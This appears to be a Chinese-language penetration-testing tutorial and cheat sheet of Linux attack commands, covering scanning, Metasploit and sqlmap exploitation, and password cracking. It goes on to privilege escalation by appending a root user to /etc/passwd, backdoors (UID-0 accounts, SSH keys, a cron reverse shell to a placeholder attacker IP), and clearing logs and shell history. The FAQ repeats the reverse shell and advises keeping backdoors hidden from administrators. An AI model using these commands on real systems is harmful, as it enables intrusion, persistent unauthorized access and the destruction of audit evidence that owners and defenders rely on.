Linux渗透测试中,命令行是核心工具,通过高效命令可实现信息收集、漏洞利用、权限提升、痕迹清理等目标,以下从渗透测试流程出发,详细梳理常用Linux渗透命令及使用场景。

信息收集阶段
信息收集是渗透测试的首要步骤,目标是获取目标系统的基本信息、开放服务、用户账号等关键数据。
主机发现与端口扫描
基础扫描:使用ping
判断主机存活状态,结合nmap
进行详细端口扫描。
ping -c 4 目标IP # 发送4个ICMP包检测主机存活 nmap -sS -p 1-65535 目标IP # TCP SYN扫描全端口(隐蔽) nmap -sV -sC -p 22,80,443 目标IP # 常用端口扫描,并检测服务版本与默认脚本
参数说明:-sS
为半开放扫描,-sV
识别服务版本,-sC
运行默认脚本,-p
指定端口范围。
服务与漏洞探测
通过netstat
或ss
查看本地网络连接,结合curl
或wget
探测Web服务。

netstat -tulnp # 查看监听端口及进程(需root权限) ss -tulnp # 替代netstat的现代化工具 curl -I http://目标IP # 获取HTTP响应头,判断Web服务类型 nmap --script vuln 目标IP # 使用nmap脚本扫描已知漏洞
用户与系统信息收集
uname -a # 查看内核版本与系统架构 cat /etc/issue # 查看系统发行版信息 cat /etc/passwd # 获取用户列表(仅显示可登录用户) cat /etc/shadow # 查看用户密码哈希(需root权限) ls -la /home/ # 查看用户目录权限
漏洞利用与权限获取
在信息收集基础上,针对发现的漏洞利用工具获取初始权限。
渗透测试框架使用
Metasploit Framework是常用渗透平台,通过msfconsole
启动:
msfconsole # 启动Metasploit search ms08_067 # 搜索漏洞模块(如MS08-067) use exploit/windows/smb/ms08_067_netapi # 选择模块 set RHOSTS 目标IP # 设置目标主机 set PAYLOAD windows/meterpreter/reverse_tcp # 设置载荷 exploit # 执行漏洞利用
Meterpreter后门是Metasploit的核心载荷,可远程控制目标系统:
sysinfo # 查看目标系统信息 getuid # 获取当前用户权限 ps # 查看进程列表 upload /本地文件 /目标路径 # 上传文件到目标 download /目标文件 /本地路径 # 下载目标文件到本地 shell # 获取目标系统交互式shell
Web漏洞利用
针对Web应用的漏洞,常用sqlmap
、Burp Suite
等工具。
SQL注入检测与利用:

sqlmap -u "http://目标IP/index.php?id=1" --dbs # 枚举数据库 sqlmap -u "http://目标IP/index.php?id=1" -D 数据库名 --tables # 枚举表名 sqlmap -u "http://目标IP/index.php?id=1" -D 数据库名 -T 表名 --dump # 导出表数据
文件上传漏洞:使用wget
或curl
上传Webshell,或利用msfvenom
生成恶意载荷:
msfvenom -p php/meterpreter_reverse_tcp LHOST=攻击IP LPORT=4444 -f raw > shell.php
通过Webshell上传工具将shell.php
上传至目标服务器,再通过nc
或msf
监听连接。
密码破解与凭证获取
字典攻击:使用john
或hashcat
破解密码哈希。
john --wordlist=字典文件 password.txt # 使用字典破解密码 hashcat -m 1000 password.txt 字典文件 # 使用hashcat(支持GPU加速)
凭证抓取:通过Mimikatz
在Windows系统抓取明文密码,Linux下可使用gdb
调试sshd
进程获取密码。
权限提升
获取低权限用户后,需通过内核漏洞、SUID提权、服务配置错误等方式提升权限。
内核漏洞提权
使用Linux Exploit Suggester
检查内核版本对应的已知漏洞:
wget https://github.com/mzet-/linux-exploit-suggester/releases/latest/download/linux-exploit-suggester.sh chmod +x linux-exploit-suggester.sh ./linux-exploit-suggester.sh # 输出可能存在的内核漏洞
根据漏洞结果,利用gcc
编译漏洞利用代码并执行:
gcc 46215.c -o exp # 编译漏洞利用程序 ./exp # 执行提权
SUID/GUID提权
查找具有SUID权限的可执行文件,利用/etc/passwd
或find
命令:
find / -perm -u=s -type f 2>/dev/null # 查找SUID文件 ls -la /usr/bin/passwd # 检查passwd是否具有SUID权限(可修改密码)
利用/etc/passwd
生成用户:
openssl passwd -1 -salt "test" "123456" # 生成密码哈希 echo "test:$1$test$XJ8iS9zQjKq9sE8J8H8K.:0:0::/root:/bin/bash" >> /etc/passwd
新用户test
可直接登录root权限。
服务配置错误提权
检查sudo
配置文件,查看当前用户是否有sudo
权限:
sudo -l # 查看sudo权限
若允许以root身份执行特定命令(如find
、vim
),可利用命令提权:
sudo find / -exec /bin/sh \; # 通过find命令获取root shell
维持访问与痕迹清理
后门植入
为长期控制目标系统,需植入隐蔽后门:
用户后门:创建具有UID为0的用户(root权限):
useradd -u 0 -o -g root testuser # 创建root用户 passwd testuser # 设置密码
SSH密钥后门:将公钥写入/root/.ssh/authorized_keys
,实现免密登录:
mkdir -p /root/.ssh echo "ssh-rsa AAAAB3NzaC1yc2E... 攻击用户@攻击主机" >> /root/.ssh/authorized_keys chmod 600 /root/.ssh/authorized_keys
定时任务后门:通过cron
植入反弹shell:
echo "*/5 * * * * /bin/bash -i >& /dev/tcp/攻击IP/4444 0>&1" >> /var/spool/cron/root
痕迹清理
删除日志文件、命令历史记录,避免被检测:
history -c # 清空当前会话命令历史 echo > ~/.bash_history # 清空用户历史记录 cat /dev/null > /var/log/auth.log # 清空认证日志 cat /dev/null > /var/log/wtmp # 清空登录记录
Linux渗透命令速查表
功能分类 | 命令示例 | 说明 |
---|---|---|
主机存活检测 | ping -c 4 目标IP |
发送ICMP包检测主机是否在线 |
端口扫描 | nmap -sS -p 1-65535 目标IP |
TCP SYN扫描全端口,隐蔽性强 |
服务版本探测 | nmap -sV -p 22,80 目标IP |
检测端口对应服务的版本信息 |
系统信息收集 | uname -a cat /etc/issue |
查看内核版本、系统发行版 |
用户列表查看 | cat /etc/passwd |
获取系统所有用户(仅显示可登录用户) |
进程与端口查看 | netstat -tulnp ss -tulnp |
查看监听端口及关联进程 |
Web服务探测 | curl -I http://目标IP |
获取HTTP响应头,判断Web类型 |
漏洞扫描 | nmap --script vuln 目标IP |
使用nmap脚本扫描已知漏洞 |
Metasploit启动 | msfconsole |
启动Metasploit渗透框架 |
SQL注入检测 | sqlmap -u "URL" --dbs |
枚举目标数据库 |
密码哈希破解 | john --wordlist=字典文件 password.txt |
使用John the Ripper破解密码哈希 |
内核漏洞提权 | ./linux-exploit-suggester.sh |
检查系统内核是否存在已知漏洞 |
SUID文件查找 | find / -perm -u=s -type f 2>/dev/null |
查找具有SUID权限的可执行文件 |
sudo权限查看 | sudo -l |
查看当前用户的sudo执行权限 |
SSH后门植入 | echo "公钥" >> /root/.ssh/authorized_keys |
将公钥写入目标主机,实现免密登录 |
日志清空 | cat /dev/null > /var/log/auth.log |
清空系统认证日志 |
相关问答FAQs
Q1:Linux渗透测试中,如何判断目标系统是否存在内核漏洞?
A1:可通过以下步骤判断:
- 使用
uname -a
获取目标系统的内核版本信息; - 将内核版本与已知漏洞库(如Exploit-DB)对比,或使用自动化工具
Linux Exploit Suggester
(如./linux-exploit-suggester.sh
)扫描; - 若发现匹配的漏洞,下载对应的利用代码,编译后执行,测试是否可提权,需注意,漏洞利用可能导致系统不稳定,建议在测试环境中先验证。
Q2:在Linux渗透测试中,如何实现持久化访问?
A2:持久化访问可通过以下方式实现:
- 用户后门:创建具有root权限的隐藏用户(如
useradd -u 0 testuser
),并设置复杂密码; - SSH密钥后门:将攻击者的公钥写入目标主机的
/root/.ssh/authorized_keys
,实现免密SSH登录; - 定时任务后门:利用
cron
设置定时任务,定期执行反弹shell(如*/5 * * * * /bin/bash -i >& /dev/tcp/攻击IP/4444
); - 服务后门:修改或替换合法服务(如SSH、Telnet),植入恶意代码,或通过inetd/xinetd配置隐藏服务,需注意,后门应隐蔽放置,避免被管理员发现。